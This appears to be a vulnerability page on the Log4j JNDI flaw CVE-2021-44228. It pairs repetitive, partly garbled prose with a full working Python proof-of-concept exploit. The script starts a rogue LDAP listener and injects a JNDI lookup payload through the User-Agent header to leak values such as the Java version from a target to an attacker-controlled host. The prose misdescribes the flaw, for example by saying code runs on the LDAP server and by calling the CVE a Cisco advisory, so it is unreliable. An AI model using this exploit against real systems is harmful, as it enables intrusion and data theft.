Due to a flaw in the way the Apache Log4j JNDI implementation handles LDAP queries when message lookup substitution is enabled, attackers can exploit this flaw to execute arbitrary code when a user logs into LDAP-enabled applications with a vulnerable log4j installation. This can be leveraged to execute code within the context of the LDAP server itself. The issue is particularly dangerous when LDAP-enabled applications are used by third party vendors. For example, LDAP-enabled services used by SCADA and Industrial Control Systems control systems. LDAP-enabled services used by carriers, such as for billing and account management. LDAP-enabled services used by e-commerce applications. LDAP-enabled services used by financial services providers. LDAP-enabled services used by government agencies. LDAP-enabled services used by medical facilities. LDAP-enabled services used by manufacturing facilities. LDAP-enabled services used by any other type of organization. By exploiting this vulnerability, an attacker can inject arbitrary code into the LDAP server, allowing complete control of the end user’s system. End users will have no knowledge of this attack, nor will the attack be visible to the user.

Vulnerability details

The Apache Log4j implementation does not handle LDAP queries when message lookup substitution is enabled correctly. The issue stems from the way Apache Log4j uses an LDAP server to resolve messages that were previously looked up in a MapMessageFactory. This allows attackers to inject arbitrary code into the LDAP server by leveraging this flaw.
The flaw is particularly dangerous when LDAP-enabled applications are used by third party vendors, as such services may be using a vulnerable log4j installation. By exploiting this vulnerability, an attacker can inject arbitrary code into the LDAP server, allowing complete control of the end user’s system.
#1 Reduce Risk of Attacks

Vulnerability Overview

A vulnerability was found in Apache Log4j JNDI implementation when it comes to LDAP queries. This issue allows an attacker to execute arbitrary code with the privileges of the LDAP server itself. The flaw is particularly dangerous when LDAP-enabled applications are used by third party vendors, such as SCADA and Industrial Control Systems control systems. These issues will allow attackers to inject arbitrary code into the LDAP server, allowing for complete control of the end user’s system. Additionally, victims will have no knowledge of this attack and will not be able to detect it.

Mitigation and Detection

Due to the high visibility of this vulnerability, Cisco has released advisory CVE-2021-44228. The advisory lists all of the affected software and hardware platforms with patches available.

Vulnerability Details

This vulnerability allows attackers to execute arbitrary code in the context of the LDAP server when a user logs into an LDAP-enabled application. The issue is particularly dangerous when LDAP-enabled applications are used by third party vendors. For example, a SCADA or other control systems vendor will have complete access to the embedded system. To exploit this vulnerability, an attacker must be able to log into the LDAP server and run malicious code. This can be accomplished with knowledge of how to configure and properly deploy Apache Log4j and link it to a vulnerable JNDI implementation.

Exploit

# Exploit Title: Apache Log4j2 2.14.1 - Information Disclosure
# Date: 12/12/2021
# Exploit Author: leonjza
# Vendor Homepage: https://logging.apache.org/log4j/2.x/
# Version: <= 2.14.1
# CVE: CVE-2021-44228

#!/usr/bin/env python3

# Pure python ENV variable leak PoC for CVE-2021-44228
# Original PoC: https://twitter.com/Black2Fan/status/1470281005038817284
#
# 2021 @leonjza

import argparse
import socketserver
import threading
import time

import requests

LDAP_HEADER = b'\x30\x0c\x02\x01\x01\x61\x07\x0a\x01\x00\x04\x00\x04\x00\x0a'


class ThreadedTCPRequestHandler(socketserver.BaseRequestHandler):
    def handle(self) -> None:
        print(f' i| new connection from {self.client_address[0]}')

        sock = self.request
        sock.recv(1024)
        sock.sendall(LDAP_HEADER)

        data = sock.recv(1024)
        data = data[9:]  # strip header

        # example response
        #
        # ('Java version 11.0.13\n'
        #  '\x01\x00\n'
        #  '\x01\x03\x02\x01\x00\x02\x01\x00\x01\x01\x00\x0b'
        #  'objectClass0\x00\x1b0\x19\x04\x172.16.840.1.113730.3.4.2')

        data = data.decode(errors='ignore').split('\n')[0]
        print(f' v| extracted value: {data}')


class ThreadedTCPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
    pass


def main():
    parser = argparse.ArgumentParser(description='a simple log4j
<=2.14 information disclosure poc '
                                                 '(ref:
https://twitter.com/Black2Fan/status/1470281005038817284)')
    parser.add_argument('--target', '-t', required=True, help='target uri')
    parser.add_argument('--listen-host', default='0.0.0.0',
                        help='exploit server host to listen on
(default: 127.0.0.1)')
    parser.add_argument('--listen-port', '-lp', default=8888,
help='exploit server port to listen on (default: 8888)')
    parser.add_argument('--exploit-host', '-eh', required=True,
default='127.0.0.1',
                        help='host where (this) exploit server is reachable')
    parser.add_argument('--leak', '-l', default='${java:version}',
                        help='value to leak. '
                             'see:
https://twitter.com/Rayhan0x01/status/1469571563674505217 '
                             '(default: ${java:version})')
    args = parser.parse_args()

    print(f' i| starting server on {args.listen_host}:{args.listen_port}')
    server = ThreadedTCPServer((args.listen_host, args.listen_port),
ThreadedTCPRequestHandler)

    serv_thread = threading.Thread(target=server.serve_forever)
    serv_thread.daemon = True
    serv_thread.start()
    time.sleep(1)
    print(f' i| server started')

    payload = f'${{jndi:ldap://{args.exploit_host}:{args.listen_port}/{args.leak}}}'
    print(f' i| sending exploit payload {payload} to {args.target}')

    try:
        r = requests.get(args.target, headers={'User-Agent': payload})
        print(f' i| response status code: {r.status_code}')
        print(f' i| response: {r.text}')
    except Exception as e:
        print(f' e| failed to make request: {e}')
    finally:
        server.shutdown()
        server.server_close()


if __name__ == '__main__':
    main()

Timeline

Published on: 12/10/2021 10:15:00 UTC
Last modified on: 08/17/2022 17:46:00 UTC

References